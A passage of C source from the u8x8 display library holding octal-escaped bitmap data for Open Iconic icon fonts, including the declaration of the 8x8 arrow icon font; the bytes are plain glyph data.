\"\\177\\177\\77\\17\\0\\0\\200\\340\\360\\370\\374\\374\\376\\376\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\370\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\77\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\370\\360\\360\\360\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\60\\0\\0\\0\\0\\1\\3\\7\\17\\37\\37\\77\\77\\77\\177\\177\\177\\177\\177\\177\\177\\177\\77\\77\\77\\37\\37\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\374\\376\\376\\377\\377\\377\\377\\377\\377\\376\\376\\374\\374\\370\\340\\200\"\n  \"\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\360\\340\\300\\200\\7\\37\\37\\17\\17\\17\\17\\17\\17\\3\\1\\1\\340\\360\\360\\340\\1\\1\\3\\17\\17\\17\\17\\17\\37\\37\\77\\177\"\n  \"\\177\\177\\77\\17\\0\\0\\0\\0~\\377\\377~\\0\\0\\0\\0\\177\\377\\377\\177\\0\\0\\0\\0~\\377\\377~\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\60p\\360\\360\\360\\360\\360\\360\\360\\360\\370\\377\\377\\377\\377\\377\\377\\370\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"p\\60\\20\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\317\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\317\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p>\\37\\17\\17\\7\\3\\1\\0\\0\\1\\3\\7\\17\\17\\37>p\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\360`\\0\\0\\0\\0\\0\\0\\6\\17\\17\\6\\0\\0\\0\\0\\0\\0`\\360\\360`\"\n  \"\\0\\0\\0\\0\\200\\300\\300\\200\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\340\\0\\0\\0\\0\"\n  \"\\200\\300\\300\\200\\1\\3\\3\\1\\0\\0\\0\\0\\7\\37\\77\\177\\177\\377\\377\\377\\377\\377\\377\\177\\177\\77\\37\\7\\0\\0\\0\\0\"\n  \"\\1\\3\\3\\1\\0\\0\\0\\0\\6\\17\\17\\6\\0\\0\\0\\0\\0\\0`\\360\\360`\\0\\0\\0\\0\\0\\0\\6\\17\\17\\6\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_arrow_8x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 28/28\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_arrow_8x8[14340] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_arrow_8x8\") = \n  \"@[\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\77\\177\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\77\\177\"\n  \"\\377\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\370\\374\\376\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\20\\30<~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\37\\77\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\37\\77\\177\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\376\\374\\370\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\360\\340\\300\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"~<\\30\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\37\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\177\\77\\37\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\377\"\n  \"\\376\\374\\370\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\376\\374\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\370\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\370\\370\\360\\340\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\360\\300\\0\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\374\\77\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\77\\0\\3\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\17\\3\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\37\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\37\\37\\37\\17\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\370\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\370\\370\\360\\340\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\360\\300\\0\\374\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\374\\77\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\77\\0\\3\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\17\\3\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\37\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\37\\37\\37\\17\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\370\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\370\\370\\360\\340\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\360\\300\\0\\374\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\374\\77\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\77\\0\\3\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\17\\3\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\37\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\37\\37\\37\\17\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\370\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\370\\370\\360\\340\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\360\\300\\0\\374\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\374\\77\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\77\\0\\3\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\17\\3\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\37\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\37\\37\\37\\17\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  